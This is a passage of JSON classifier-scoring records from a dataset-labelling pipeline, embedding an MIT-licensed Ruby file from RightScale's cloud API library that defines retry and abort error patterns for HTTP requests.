0.37921517273196303, "1": 0.42494717455888503, "2": 0.08453348461956614}, "math_density": {"0": 0.7933085253976766, "1": 0.15455752244517454, "2": 0.03248412182253675, "3": 0.0069222701863189354, "4": 0.01272756014829312}, "code_density": {"0": 0.00016801535691987176, "1": 0.0002796563732349542, "2": 0.005426672990097904, "3": 0.056079894599385574, "4": 0.9380457606803617}, "reasoning_density": {"0": 0.7187234290760465, "1": 0.16195901957807093, "2": 0.07825263930114881, "3": 0.018774096477137125, "4": 0.02229081556759676}, "education_level": {"none": 0.001219767422476464, "0": 0.0011605307577589293, "1": 0.015566116193376845, "2": 0.6710628520627067, "3": 0.2715784951885966, "4": 0.039412238375084535}, "creative_writing_quality": {"not_applicable": 0.9995774165664942, "-2": 6.804703777896945e-05, "-1": 8.663342815196966e-05, "0": 0.00018690668973045895, "1": 5.7987390208726685e-05, "2": 2.3008887635780105e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.0001332704905915989, "Art & Design": 0.0014954403755659746, "Law & Crime": 0.00021293436249647995, "Education & Careers": 0.00011717193938694549, "Entertainment & Media": 0.00038480344650786423, "Fashion & Beauty": 0.00016537717856379867, "Business, Economics & Finance": 0.013526390099960066, "Food & Dining": 0.00012485020945975927, "Games & Gaming": 0.05887711857680062, "Electronics & Hardware": 0.00010134392146022436, "Health, Healthcare & Wellness": 9.003044868836183e-05, "History & Geography": 0.00023545702520370106, "Home, Pets & Hobbies": 0.0002409847597397992, "Industry & Production": 0.0006108129303758494, "Language, Literature & Philosophy": 0.00011434059057594609, "Politics & Government": 0.00010828471634574659, "Religion & Spirituality": 0.00013882435925146054, "Science, Mathematics & Engineering": 0.00027746316575914305, "Relationships & Community": 7.821227548684495e-05, "Software Usage & Applications": 0.0004236256532031302, "Programming & Software Engineering": 0.9211520832901593, "Sports & Fitness": 0.00015527690345834398, "Vehicles & Transportation": 0.00014136963443565098, "Travel & Tourism": 0.00012774770158887694, "Other / Uncovered Subject": 0.0007791240965746852, "Unknown / Insufficient Content": 0.00018766184835941236}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0015676497914606743, "Art & Design": 0.038579467028583045, "Law & Crime": 0.0011832491013852732, "Education & Careers": 0.0005690875661930058, "Entertainment & Media": 0.002364016953558714, "Fashion & Beauty": 0.000661665511560319, "Business, Economics & Finance": 0.09045262988949909, "Food & Dining": 0.0005725800865148181, "Games & Gaming": 0.2831853677453111, "Electronics & Hardware": 0.00045208329843383064, "Health, Healthcare & Wellness": 0.0004702377504095109, "History & Geography": 0.0009354175898853006, "Home, Pets & Hobbies": 0.0009735740991527212, "Industry & Production": 0.00167039053112004, "Language, Literature & Philosophy": 0.00042263015866540624, "Politics & Government": 0.0005422299545730351, "Religion & Spirituality": 0.0006268491355011364, "Science, Mathematics & Engineering": 0.0009319453697177541, "Relationships & Community": 0.00030010593835424413, "Software Usage & Applications": 0.0009455215384466737, "Programming & Software Engineering": 0.04951916190123082, "Sports & Fitness": 0.0005160622442689734, "Vehicles & Transportation": 0.0009747646641734887, "Travel & Tourism": 0.0006809514613047679, "Other / Uncovered Subject": 0.00284273643317198, "NONE": 0.5180596242575243}}, "probabilities": {"primary": {"Academic Writing": 1.8968382238856366e-05, "Content Listing": 2.3571169274500977e-05, "Creative Writing": 1.4893828999612658e-05, "Customer Support Page": 5.744728149914292e-06, "Q&A Forum": 6.091030096290428e-06, "Discussion Thread": 4.6234732469613345e-06, "Comment Section": 7.634287967073044e-06, "Missing Content": 1.6082888738078996e-05, "Knowledge Article": 3.649961240007975e-05, "Legal Notices": 2.2861838422127678e-05, "News Article": 2.914538840227885e-06, "Organizational Announcement": 7.308887531422276e-06, "Nonfiction Writing": 6.247382265056416e-06, "Organizational About Page": 8.46289105312394e-06, "Personal About Page": 8.151487935803646e-06, "Personal Blog": 5.261008952237858e-06, "Product Page": 5.457881676960503e-06, "Spam / Ads": 5.901025436339123e-06, "Structured Data": 0.0007242837980366081, "Technical Writing": 0.9979425330239197, "Transcript / Interview": 7.6483051005581e-06, "Tutorial / How-To Guide": 6.302719436195793e-05, "User Reviews": 4.273498406088307e-06, "Other / Unknown": 0.0010515578369504055}, "secondary": {"Academic Writing": 0.0001797179516897562, "Content Listing": 0.00042382202938899457, "Creative Writing": 0.00028628279545204923, "Customer Support Page": 7.705659863546557e-05, "Q&A Forum": 5.804653662769383e-05, "Discussion Thread": 5.814895519869705e-05, "Comment Section": 0.0002506085113302951, "Missing Content": 0.0006595508733846317, "Knowledge Article": 0.0005550541356563945, "Legal Notices": 0.0002598037633607189, "News Article": 7.349286758824465e-05, "Organizational Announcement": 8.010146835354857e-05, "Nonfiction Writing": 8.98288156748528e-05, "Organizational About Page": 0.00010418119006195551, "Personal About Page": 8.197158206628485e-05, "Personal Blog": 7.303180747458652e-05, "Product Page": 5.2600605262725307e-05, "Spam / Ads": 0.00010340036949695303, "Structured Data": 0.011260339336957602, "Technical Writing": 0.014945336101265727, "Transcript / Interview": 8.5398061560117e-05, "Tutorial / How-To Guide": 0.0005513255984930096, "User Reviews": 3.997594112517387e-05, "NONE": 0.9696509241038945}, "tertiary": {"Academic Writing": 9.721959919590765e-05, "Content Listing": 0.0003577401338650179, "Creative Writing": 0.00018973243633604894, "Customer Support Page": 3.950275692721285e-05, "Q&A Forum": 2.4916048652859912e-05, "Discussion Thread": 2.754178180674417e-05, "Comment Section": 0.00017840514868784835, "Missing Content": 0.00048573377388593805, "Knowledge Article": 0.0003791915670651333, "Legal Notices": 0.0002807176752704353, "News Article": 3.772535120840178e-05, "Organizational Announcement": 4.2130908013924966e-05, "Nonfiction Writing": 5.7291091392832766e-05, "Organizational About Page": 6.501224586237262e-05, "Personal About Page": 4.28075779605576e-05, "Personal Blog": 3.6733250842269864e-05, "Product Page": 3.365415382895153e-05, "Spam / Ads": 5.877294768943413e-05, "Structured Data": 0.0055345665780030424, "Technical Writing": 0.005835218225191396, "Transcript / Interview": 4.1359348018537926e-05, "Tutorial / How-To Guide": 0.0003660794814544058, "User Reviews": 2.0338523962510892e-05, "NONE": 0.9857676093948783}, "structured_records": {"false": 0.9047668722671814, "true": 0.09523312773281856}, "procedural_steps": {"false": 0.998791446254296, "true": 0.0012085537457040996}, "worked_solution": {"false": 0.9991989624270158, "true": 0.0008010375729842606}, "contextual_dialogue": {"false": 0.9999954078109556, "true": 4.5921890443308234e-06}, "content_quality": {"-2": 0.0031976048634395353, "-1": 0.007823172625016642, "0": 0.13782302722019132, "1": 0.47296156221338403, "2": 0.3781946330779685}, "noise_severity": {"0": 0.9830832810406391, "1": 0.01501900541809307, "2": 0.00125332464165185, "3": 0.00038493116229407367, "4": 0.0002594577373218264}, "missing_content_severity": {"0": 0.9935664966860368, "1": 0.001634444598333609, "2": 0.00258969368611601, "3": 0.0018362277050435866, "4": 0.00037313732447002995}, "factual_density": {"0": 0.010775768539180526, "1": 0.018862744746599235, "2": 0.11522666739576612, "3": 0.3594950731302921, "4": 0.495639746188162}, "pretraining_utility": {"-2": 0.009409450755823015, "-1": 0.10189471733376283, "0": 0.37921517273196303, "1": 0.42494717455888503, "2": 0.08453348461956614}, "math_density": {"0": 0.7933085253976766, "1": 0.15455752244517454, "2": 0.03248412182253675, "3": 0.0069222701863189354, "4": 0.01272756014829312}, "code_density": {"0": 0.00016801535691987176, "1": 0.0002796563732349542, "2": 0.005426672990097904, "3": 0.056079894599385574, "4": 0.9380457606803617}, "reasoning_density": {"0": 0.7187234290760465, "1": 0.16195901957807093, "2": 0.07825263930114881, "3": 0.018774096477137125, "4": 0.02229081556759676}, "education_level": {"none": 0.001219767422476464, "0": 0.0011605307577589293, "1": 0.015566116193376845, "2": 0.6710628520627067, "3": 0.2715784951885966, "4": 0.039412238375084535}, "creative_writing_quality": {"not_applicable": 0.999577416566494, "-2": 6.804703777896944e-05, "-1": 8.663342815196964e-05, "0": 0.0001869066897304589, "1": 5.798739020872667e-05, "2": 2.3008887635780098e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00013327049059159895, "Art & Design": 0.0014954403755659752, "Law & Crime": 0.00021293436249648004, "Education & Careers": 0.00011717193938694554, "Entertainment & Media": 0.0003848034465078644, "Fashion & Beauty": 0.00016537717856379876, "Business, Economics & Finance": 0.01352639009996007, "Food & Dining": 0.00012485020945975932, "Games & Gaming": 0.05887711857680065, "Electronics & Hardware": 0.0001013439214602244, "Health, Healthcare & Wellness": 9.003044868836187e-05, "History & Geography": 0.00023545702520370117, "Home, Pets & Hobbies": 0.0002409847597397993, "Industry & Production": 0.0006108129303758497, "Language, Literature & Philosophy": 0.00011434059057594614, "Politics & Government": 0.00010828471634574665, "Religion & Spirituality": 0.0001388243592514606, "Science, Mathematics & Engineering": 0.00027746316575914316, "Relationships & Community": 7.8212275486845e-05, "Software Usage & Applications": 0.0004236256532031304, "Programming & Software Engineering": 0.9211520832901597, "Sports & Fitness": 0.00015527690345834406, "Vehicles & Transportation": 0.00014136963443565104, "Travel & Tourism": 0.000127747701588877, "Other / Uncovered Subject": 0.0007791240965746855, "Unknown / Insufficient Content": 0.00018766184835941244}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0015676497914606743, "Art & Design": 0.038579467028583045, "Law & Crime": 0.0011832491013852732, "Education & Careers": 0.0005690875661930058, "Entertainment & Media": 0.002364016953558714, "Fashion & Beauty": 0.000661665511560319, "Business, Economics & Finance": 0.09045262988949909, "Food & Dining": 0.0005725800865148181, "Games & Gaming": 0.2831853677453111, "Electronics & Hardware": 0.00045208329843383064, "Health, Healthcare & Wellness": 0.0004702377504095109, "History & Geography": 0.0009354175898853006, "Home, Pets & Hobbies": 0.0009735740991527212, "Industry & Production": 0.00167039053112004, "Language, Literature & Philosophy": 0.00042263015866540624, "Politics & Government": 0.0005422299545730351, "Religion & Spirituality": 0.0006268491355011364, "Science, Mathematics & Engineering": 0.0009319453697177541, "Relationships & Community": 0.00030010593835424413, "Software Usage & Applications": 0.0009455215384466737, "Programming & Software Engineering": 0.04951916190123082, "Sports & Fitness": 0.0005160622442689734, "Vehicles & Transportation": 0.0009747646641734887, "Travel & Tourism": 0.0006809514613047679, "Other / Uncovered Subject": 0.00284273643317198, "NONE": 0.5180596242575243}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999996, "mass_delta": -4.440892098500626e-16, "missing_mass": 4.440892098500626e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 15222, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 15222, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:01.798083+00:00", "scoring_key_slot": "primary", "dataset_uid": "48c7a310-fabb-4de3-9985-40de5dfb67ec", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "26e015f42abf5e72cf94da59954878104f286bcf15a3de2a7652b7c745ac942f", "source_metadata": {"uuid": "48c7a310-fabb-4de3-9985-40de5dfb67ec", "repo_name": "tobymao/18xx", "relative_path": "assets/app/view/game/corporation.rb", "category": "TOOL", "algo_rel_score": 0.9677073359489441, "quality_score": 6.7538323402404785, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 17959, "repo_created_at": "2019-05-23T05:11:15.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 320, "forks": 199, "issues": 297, "pull_requests": 9}, "file_meta": {"content_id": "0919055106670157588c888b1033dfeeec11207c", "size_bytes": 25877, "file_timestamp": 1752552385, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "27b1287653c2ea08c387c099539702d8c712d09a"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 17959, "repo_created_at": "2019-05-23T05:11:15.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 320, "forks": 199, "issues": 297, "pull_requests": 9}, "file_meta": {"content_id": "0919055106670157588c888b1033dfeeec11207c", "size_bytes": 25877, "file_timestamp": 1752552385, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "27b1287653c2ea08c387c099539702d8c712d09a", "url": "https://github.com/tobymao/18xx/blob/27b1287653c2ea08c387c099539702d8c712d09a/assets/app/view/game/corporation.rb"}, "gpt4o_tokens": 6237, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2151324460174253, "noise_severity": 0.019718279137566297, "missing_content_severity": 0.01381506438357651, "factual_density": 3.3103602836816557, "pretraining_utility": 0.47330052495260844, "math_density": 0.29120281724237734, "code_density": 3.9315557288730343, "reasoning_density": 0.463949849882167, "education_level": 2.3329218814951482, "creative_writing_quality": -0.28094413745626107}, "score_applicability": {"education_level": 0.9987802325775236, "creative_writing_quality": 0.00042258343350590476}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/flexera-public/right_cloud_api_base/blob/e3c2eac5efe932616f32d7b0fbac08057fdeeb00/lib/base/routines/request_analyzer.rb", "id": "ruby-0-578775d9b845a18efcabd32feb322d19", "text": "#--\n# Copyright (c) 2013 RightScale, Inc.\n#\n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the\n# 'Software'), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of the Software, and to\n# permit persons to whom the Software is furnished to do so, subject to\n# the following conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n#++\n\nmodule RightScale\n module CloudApi\n\n # The routine provides *error_pattern* method that is used to define request and response patterns.\n #\n # The patterns allows one to control the request processing flow: you can enable retries for\n # certain API calls or can re-open a connection on HTTP failure.\n #\n # The supported actions are:\n #\n # Request option:\n # - :abort_on_timeout - If there was a low level timeout then it should not retry a request\n # but should fail. Lets say one made a call to launch some instance and the remote cloud\n # launched them but timed out to respond back. The default behavior for the gem is to make\n # a retry if a timeout received but in this particular case it will launch the instances\n # again. So the solution here is to make the system to fail after the first unsuccessfull\n # request.\n #\n # Response options:\n # - :retry - Make a retry if the failed response matches to the pattern.\n # - :abort - Do not make a retry and fail if the response matches to the pattern (opposite to :retry).\n # - :disconnect_and_abort - Close a connection and fail.\n # - :reconnect_and_retry - Reestablish a connection and make a retry.\n #\n class RequestAnalyzer < Routine\n\n class Error < CloudApi::Error\n end\n\n REQUEST_ACTIONS = [ :abort_on_timeout ]\n REQUEST_KEYS = [ :verb, :verb!, :path, :path!, :request, :request!, :if ]\n\n RESPONSE_ACTIONS = [ :disconnect_and_abort, :abort, :reconnect_and_retry, :retry ]\n RESPONSE_KEYS = [ :verb, :verb!, :path, :path!, :request, :request!, :code, :code!, :response, :response!, :if ]\n\n ALL_ACTIONS = REQUEST_ACTIONS + RESPONSE_ACTIONS\n \n module ClassMethods\n\n def self.extended(base)\n unless base.respond_to?(:options) && base.options.is_a?(Hash)\n fail Error::new(\"RequestAnalyzer routine assumes class being extended responds to :options and returns a hash\")\n end\n end\n\n # Adds a new error pattern.\n # Patterns are analyzed in order of their definition. If one pattern hits the rest are not analyzed.\n # \n # @param [Symbol] action The requested action.\n # @param [Hash] error_pattern The requested pattern (see {file:lib/base/helper/utils.rb self.pattern_matches?}).\n # \n # @xample:\n # error_pattern :abort_on_timeout, :path => /Action=(Run|Create)/\n # error_pattern :retry, :response => /InternalError|Internal Server Error|internal service error/i\n # error_pattern :disconnect_and_abort, :code => /5..|403|408/\n # error_pattern :disconnect_and_abort, :code => /4../, :if => Proc.new{ |opts| rand(100) < 10 }\n #\n # @raise [RightScale::CloudApi::RequestAnalyzer::Error] If error_pattern is not a Hash instance.\n # @raise [RightScale::CloudApi::RequestAnalyzer::Error] If action is not supported.\n # @raise [RightScale::CloudApi::RequestAnalyzer::Error] If pattern keys are weird.\n #\n def error_pattern(action, error_pattern)\n action = action.to_sym\n fail Error::new(\"Patterns are not set for action #{action.inspect}\") if !error_pattern.is_a?(Hash) || error_pattern._blank?\n fail Error::new(\"Unsupported action #{action.inspect} for error pattern #{error_pattern.inspect}\") unless ALL_ACTIONS.include?(action)\n unsupported_keys = REQUEST_ACTIONS.include?(action) ? error_pattern.keys - REQUEST_KEYS : error_pattern.keys - RESPONSE_KEYS\n fail Error::new(\"Unsupported keys #{unsupported_keys.inspect} for #{action.inspect} in error pattern #{error_pattern.inspect}\") unless unsupported_keys._blank?\n (options[:error_patterns] ||= []) << error_pattern.merge(:action => action)\n end\n end\n\n # The main entry point.\n #\n def process\n # Get a list of accessible error patterns\n error_patterns = data[:options][:error_patterns] || []\n opts = { :request => data[:request][:instance],\n :response => nil,\n :verb => data[:request][:verb],\n :params => data[:request][:orig_params].dup}\n # Walk through all the error patterns and find the first that matches.\n # RequestAnalyser accepts only REQUEST_ACTIONS (actually \"abort_on_timeout\" only)\n request_error_patterns = error_patterns.select{|e| REQUEST_ACTIONS.include?(e[:action])}\n request_error_patterns.each do |pattern|\n # If we see any pattern that matches our current state\n if Utils::pattern_matches?(pattern, opts)\n # then set a flag to disable retries\n data[:options][:abort_on_timeout] = true\n cloud_api_logger.log(\"Request matches to error pattern: #{pattern.inspect}\" , :request_analyzer)\n break\n end\n end\n end\n end\n\n end\nend\n\n\n", "text_preview": "#-- # Copyright (c) 2013 RightScale, Inc. # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # 'Software'), to deal in the Software without restriction", "input_sha256": "b537160b871c7e1faf7f13e258591ef1fec36eab7d8cdba504293c72a81ffa70", "text_sha256": "578775d9b845a18efcabd32feb322d19e27f3562c82deabee69d6028d6603a65", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16041, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 1, "math_density": 0, "code_density": 3, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.0499398537059987, "noise_severity": 0.78634561188163, "missing_content_severity": 0.010571376498448614, "factual_density": 3.3080319233673285, "pretraining_utility": 0.46816281135299354, "math_density": 0.09858901872109913, "code_density": 3.313358331523687, "reasoning_density": 0.805541309403386, "education_level": 2.5191911468021115, "creative_writing_quality": -0.1591050800996729}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.6871901999626647, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9837246630762065, "secondary": 0.8164242668264537, "tertiary": 0.7710179240931309, "structured_records": 0.025675895571446537, "procedural_steps": 0.038514227499589555, "worked_solution": 0.010070064517740179, "contextual_dialogue": 7.135303695664859e-06, "content_quality": 0.5816637628501231, "noise_severity": 0.62006124703907, "missing_content_severity": 0.9911905195846261, "factual_density": 0.550552797559444, "pretraining_utility": 0.47389667334863794, "math_density": 0.9178424843990841, "code_density": 0.5843512340485744, "reasoning_density": 0.32871557549717845, "education_level": 0.43482288290583027, "creative_writing_quality": 0.9990275081919673, "primary_topic": 0.9941511921555568, "secondary_topic": 0.8458839459930978}, "probability_margin": {"primary": 0.9709557577521427, "secondary": 0.7307046117487659, "tertiary": 0.5926295762136493, "education_level": 0.13414952035765088, "creative_writing_quality": 0.9988241384376185, "primary_topic": 0.9920781958266848, "secondary_topic": 0.7532374250091685}, "raw_probabilities": {"primary": {"Academic Writing": 4.873801944252857e-05, "Content Listing": 3.759478893335433e-05, "Creative Writing": 2.685710129919657e-05, "Customer Support Page": 3.4973671377696146e-05, "Q&A Forum": 2.263487002772835e-05, "Discussion Thread": 1.5284454500559273e-05, "Comment Section": 2.72685553373407e-05, "Missing Content": 4.889402372749271e-05, "Knowledge Article": 0.00013967006403130583, "Legal Notices": 0.013447044362555187, "News Article": 1.0735430392642178e-05, "Organizational Announcement": 3.6054891399456145e-05, "Nonfiction Writing": 2.410719726484123e-05, "Organizational About Page": 3.371101745714693e-05, "Personal About Page": 1.258601352042579e-05, "Personal Blog": 1.4793652345465934e-05, "Product Page": 1.67170905776161e-05, "Spam / Ads": 1.7217960416987568e-05, "Structured Data": 0.000326902183219901, "Technical Writing": 0.9844028021146979, "Transcript / Interview": 2.973626737575486e-05, "Tutorial / How-To Guide": 0.00029208223617562256, "User Reviews": 1.2256268682782582e-05, "Other / Unknown": 0.0009213377652412434}, "secondary": {"Academic Writing": 0.00042534982303213235, "Content Listing": 0.0004074790199514452, "Creative Writing": 0.00039323011828872376, "Customer Support Page": 0.00038273508185486917, "Q&A Forum": 0.00024703069728592146, "Discussion Thread": 0.00020984846267399252, "Comment Section": 0.0003680244688312441, "Missing Content": 0.0004255916562936337, "Knowledge Article": 0.0014953855778495255, "Legal Notices": 0.8240732557086848, "News Article": 0.000301619052148534, "Organizational Announcement": 0.00041310167392500914, "Nonfiction Writing": 0.000297214865986653, "Organizational About Page": 0.0003571656794710167, "Personal About Page": 0.00020016605839181912, "Personal Blog": 0.00018820859966968978, "Product Page": 0.0002698143579589331, "Spam / Ads": 0.0002663535993866891, "Structured Data": 0.0016691143272973533, "Technical Writing": 0.07088670725277127, "Transcript / Interview": 0.00036376946269078885, "Tutorial / How-To Guide": 0.0028425617544396327, "User Reviews": 0.00014762874119747575, "NONE": 0.09336864395991891}, "tertiary": {"Academic Writing": 0.0004591274988867533, "Content Listing": 0.00038129383936777624, "Creative Writing": 0.0004151076661283794, "Customer Support Page": 0.00037156890282972696, "Q&A Forum": 0.0001897523129428299, "Discussion Thread": 0.00016767939549112263, "Comment Section": 0.0002924934210070716, "Missing Content": 0.0004497201879373134, "Knowledge Article": 0.0033735497886047913, "Legal Notices": 0.18792926770893434, "News Article": 0.0003063951543408566, "Organizational Announcement": 0.00035531801037450706, "Nonfiction Writing": 0.00031361100567236003, "Organizational About Page": 0.0003529153676294657, "Personal About Page": 0.000186073031923083, "Personal Blog": 0.00019433081531209425, "Product Page": 0.00022400512930109836, "Spam / Ads": 0.00027343035990657364, "Structured Data": 0.0021508091861320274, "Technical Writing": 0.012491090408832395, "Transcript / Interview": 0.0003224766444357152, "Tutorial / How-To Guide": 0.008098056153512946, "User Reviews": 0.00014308408791316977, "NONE": 0.7805588439225837}, "structured_records": {"false": 0.9743241044285534, "true": 0.025675895571446537}, "procedural_steps": {"false": 0.9614857725004105, "true": 0.038514227499589555}, "worked_solution": {"false": 0.9899299354822598, "true": 0.010070064517740179}, "contextual_dialogue": {"false": 0.9999928646963043, "true": 7.135303695664859e-06}, "content_quality": {"-2": 0.003640512888022023, "-1": 0.012991156966509222, "0": 0.1891279628398423, "1": 0.518268698162701, "2": 0.2759716691429255}, "noise_severity": {"0": 0.3347904458357431, "1": 0.554341585415728, "2": 0.10383110902176704, "3": 0.0038056304846795733, "4": 0.0032312292420822643}, "missing_content_severity": {"0": 0.9938374910184722, "1": 0.0030570117449537195, "2": 0.0020571619736297984, "3": 0.0007933002455417398, "4": 0.0002550350174025197}, "factual_density": {"0": 0.0021601457091634754, "1": 0.007363908475726723, "2": 0.09444410570172569, "3": 0.4723475569653865, "4": 0.4236842831479977}, "pretraining_utility": {"-2": 0.006778900034447226, "-1": 0.08386073987010774, "0": 0.39352241047076336, "1": 0.4660945479573678, "2": 0.04974340166731395}, "math_density": {"0": 0.9167986332964135, "1": 0.07627899500700408, "2": 0.002181436948013929, "3": 0.0010165891762056087, "4": 0.0037243455723625844}, "code_density": {"0": 0.0008512938684475277, "1": 0.00206576882586229, "2": 0.08602467455194471, "3": 0.5049898374210466, "4": 0.4060684253326989}, "reasoning_density": {"0": 0.4686642364151392, "1": 0.3089603458104954, "2": 0.18113024460105315, "3": 0.030660218302464494, "4": 0.010584954870847683}, "education_level": {"none": 0.0010391546823722848, "0": 0.0016525098753541285, "1": 0.006584112445349357, "2": 0.5290190690881919, "3": 0.394869548730541, "4": 0.06683560517819129}, "creative_writing_quality": {"not_applicable": 0.9991895901599728, "-2": 6.618412824235521e-05, "-1": 0.0002097526205033262, "0": 0.0003654517223542365, "1": 0.0001248621833773423, "2": 4.415918554981194e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.5084565459852524e-05, "Art & Design": 3.900573933664238e-05, "Law & Crime": 0.0017273700885551203, "Education & Careers": 3.8157280991829855e-05, "Entertainment & Media": 2.5366080129322124e-05, "Fashion & Beauty": 2.248172950807736e-05, "Business, Economics & Finance": 0.000135079551175319, "Food & Dining": 2.198533267404798e-05, "Games & Gaming": 4.1184286572034587e-05, "Electronics & Hardware": 0.00014869134546663398, "Health, Healthcare & Wellness": 2.5473059877908284e-05, "History & Geography": 3.738112370959903e-05, "Home, Pets & Hobbies": 2.183776228961414e-05, "Industry & Production": 4.2372543903762456e-05, "Language, Literature & Philosophy": 3.45351125941105e-05, "Politics & Government": 2.8937936721921124e-05, "Religion & Spirituality": 2.526976562987793e-05, "Science, Mathematics & Engineering": 0.0004415526798520654, "Relationships & Community": 1.6779695592841e-05, "Software Usage & Applications": 0.0022979504767351795, "Programming & Software Engineering": 0.99437614630342, "Sports & Fitness": 4.82943779510537e-05, "Vehicles & Transportation": 1.9732114054847574e-05, "Travel & Tourism": 4.280573189791146e-05, "Other / Uncovered Subject": 0.0002417404440391071, "Unknown / Insufficient Content": 6.478487186164972e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006630858850141222, "Art & Design": 0.000538465088630266, "Law & Crime": 0.09857406152265633, "Education & Careers": 0.0005852351413498953, "Entertainment & Media": 0.0005375466713754935, "Fashion & Beauty": 0.00034886248744451766, "Business, Economics & Finance": 0.002865577514212685, "Food & Dining": 0.0002489807583625138, "Games & Gaming": 